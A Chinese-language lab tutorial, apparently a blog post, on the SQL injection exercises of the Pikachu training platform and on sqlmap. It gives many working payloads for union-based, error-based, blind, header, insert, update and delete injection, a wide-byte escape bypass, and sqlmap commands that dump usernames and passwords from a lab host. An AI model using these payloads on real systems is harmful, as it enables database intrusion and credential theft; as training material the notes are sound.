Pikahu-SQL注入模块和sqlmap经典用法

sql注入漏洞 危害是最大得

sql注入类型：  数字型  user_id=$id

　　　　　　　字符型 user_id='$id'

　　　　　　　搜索型  text like '%{$_GET['search']}'  "

select  字段1  from table  where  id=1  会显示表中第一行信息

select  字段1  from table  where  id=1 or 1=1  会显示表中所有信息

1.数字型注入 post

、

抓包如下 

 

查看代码，发现代码对id没有做任何过滤

2.字符型注入 get

猜测  SELECT 字段1，字段2，from table  where username= ' xxx'

构造 SELECT 字段1，字段2，from table  where username= ' xxx   ’   or 1=1  # ' 

 

 3.搜索型注入

 select  *  from table  where  username  like  '%xxx% ' 

select  *  from table  where  username  like  '%xxxx% '  or 1=1# % '

输入   k% '  or 1=1#

 

 

4.  xxx型注入

查看代码

构造闭合

原先 where  username = （'lucy'）

输入                           (' lucy') or 1=1 # ')

ps：

在实际操作中 需要根据自己的经验做实际操作  做测试

以字符型注入为例  

1.可能单引号闭合  可能双引号闭合 

举例  aaa' or  1=1 #   或者  aaa“ or  1=1 #

通过检测 发现单引号闭合 是正确的

2.还可以根据返回的信息  判断数据的输入有没有参与到后台的数据库sql里去

举例lucy' and 1=1 #  返回正确   　　　　　　　　　　　　　　　　　　lucy' and 1=2 #  返回 错误     则证明是单引号闭合

    　　　　

我们通过观察结果 发现payload 参与了后台数据库语句 所以 语句是正确的

3.输入‘ 进行测试

 

 

 

 通过报错 发现‘ 进行了sql语句拼接 只是报错了    通过报错 我们发现了注入漏洞

 

3种注释符号  ：       #  、  -- （--空格）、/*  */  多行注释

 

 

union 语句后面的查询列数 要和主句查询语句列数一致

select database();  查看当前数据库

select user();  查看当前用户

select  version（）；  查看当前mysql版本信息

使用union 首先要猜测列数  使用order by

order by 2  根据第二列进行排序  order by 3  根据第三列进行排序

  order by 3

order  by  2

即可判断  有俩列

xx'  union select 1,2 #  即可查询 显示位置

xx' union select user() ,database() #

输入desc hotel；查看列和数据类型。

 

数据库知识
1.    查库：
Show databases；
select schema_name from information_schema.schemata
2.    查表：
Show databases；  use security;  show tables;
select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
3.    查列：
select column_name from information_schema.columns where table_name='users'
4.    查字段：
select username,password from security.users

 

获取表名 

获取表名 payload

kobe'  union select  table_schema, table_name from information_schema.tables where table_schema='pikachu'  #

 

获取字段名

select id,email from member where username= 'kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'

 test   payload

kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'#

 

 获取字段数，

select id,email from member where username= 'kobe' union select username, password from  users;

paylaod

kobe' union select username, password from  users  #

md5加密   https://www.cmd5.com/

 e10adc3949ba59abbe56e057f20f883e

5.  报错注入

 

 updatexml()   https://blog.csdn.net/qq_37873738/article/details/88042610

构造注入语句：select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);

updatexml(1,version(),0);    第一个位置 XML文档对象的名称，第二个位置是指定路径， 第三个位置是新得

kobe'  and  updatexml(1,version(),0) #     显示不全面

 进行改造   kobe'  and  updatexml(1,concat('~',(select database())),0) #  

kobe'  and  updatexml(1,concat('~',(select version())),0) #

 报错只能一次显示一行

kobe'  and  updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu')),0) #  

 kobe'  and  updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu'  limit 0,1)),0) #  

使用 limit 0,1  进行逐行显示

获取完表明之后 同样方式获取列名

 kobe'  and  updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users'  limit 0,1)),0) #  

 

  kobe'  and  updatexml(1,concat('~',(select username from users  limit 0,1)),0) #  

kobe'  and  updatexml(1,concat('~',(select password from users  limit 0,1)),0) #

 

6.1    insert注入

注册  姓名填 ‘  出现一下 错误  说明’  参与了后台sql语句拼接 导致了sql语句的错误

正常插入insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong',11111111,1,2,3,4);

insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong'  or   updatexml(1,concat('~',(select version())),0)  or  '  ' ,11111111,1,2,3,4);

 

构造payload     xiaohong'  or   updatexml(1,concat('~',(select version())),0)  or  '

6.2  update 注入

update  就是登录上去 去修改个人信息  利用insert 进行修改

构造payload     xiaohong'  or   updatexml(1,concat('~',(select version())),0)  or  '

 7.delete注入

查看源码  对获取到id 没做处理  直接拼接 进行删除

 burp suite 抓包  发送到repeart

1  or   updatexml(1,concat('~',(select version())),0)

 

因为传得是url  需要对关键字进行url编码

编码之后发现空格都变成了加号 点提交

id=1+or+updatexml(1,concat(0x7e,(select+database())),1) HTTP/1.1

 

 

 

基于extractvalue（）

kobe'  and extractvalue (0,concat(0x7e,version()))#

 floor()  取整   向下取整

 

 kobe'  and  (select 2    from (select count(*),  concat(version(),  floor(rand(0)*2))x  from information_schema.tables group by x)   a)  # 

 

 kobe'  and  (select 2    from (select count(*),  concat(database(),  floor(rand(0)*2))x  from information_schema.tables group by x)   a)  # 

8.http头注入

 admin  123456  登录  

 

 一般返回信息有user agent数据得 都会存在http注入

burp suite抓包 进行测试

 

firefox'  or  updatexml(1,concat(0x7e,databse()),0)   or '

 修改  cookie值

 

盲注

布尔盲注

 lucy' or 1=1# 

 lucy' and 1=1 #

 

payload   kobe'  and  ascii(substr(database(),1,1))>1   #

猜测正确 显示

猜测错误 显示用户不存在

 kobe'  and  ascii(substr(database(),1,1))>1   #    替换掉

 时间盲注

 

 基于时间得延迟 

kobe'  and if ((substr(database(),1,1))='p',sleep(5),null)#

宽字节注入：

当我们输入有单引号时被转义为’，无法构造 SQL 语句的时候，可以尝试宽字节注入。

GBK编码中，反斜杠的编码是 “%5c”，而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中，将利用 BurpSuite 截获数据包，发送到 Repeater 中，在里面写入payload，当我们用通常的测试 payload时，是无法执行成功的

因为在后台单引号会被转义，在数据库中执行多了反斜杠，可以使用下面的payload，在单引号前面加上%df，绕过这个WAF。

kobe %df‘ or 1=1#

 

 

 

 

 sqlmap

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

 

 得到数据库：

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"   --current-db

 得到表名

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"   -D pikachu --tables

 

 得到字段名

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

 拿到数据

sqlmap.py  -u "  http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -Tables users -C username,password --dump

 

拿到数据名和密码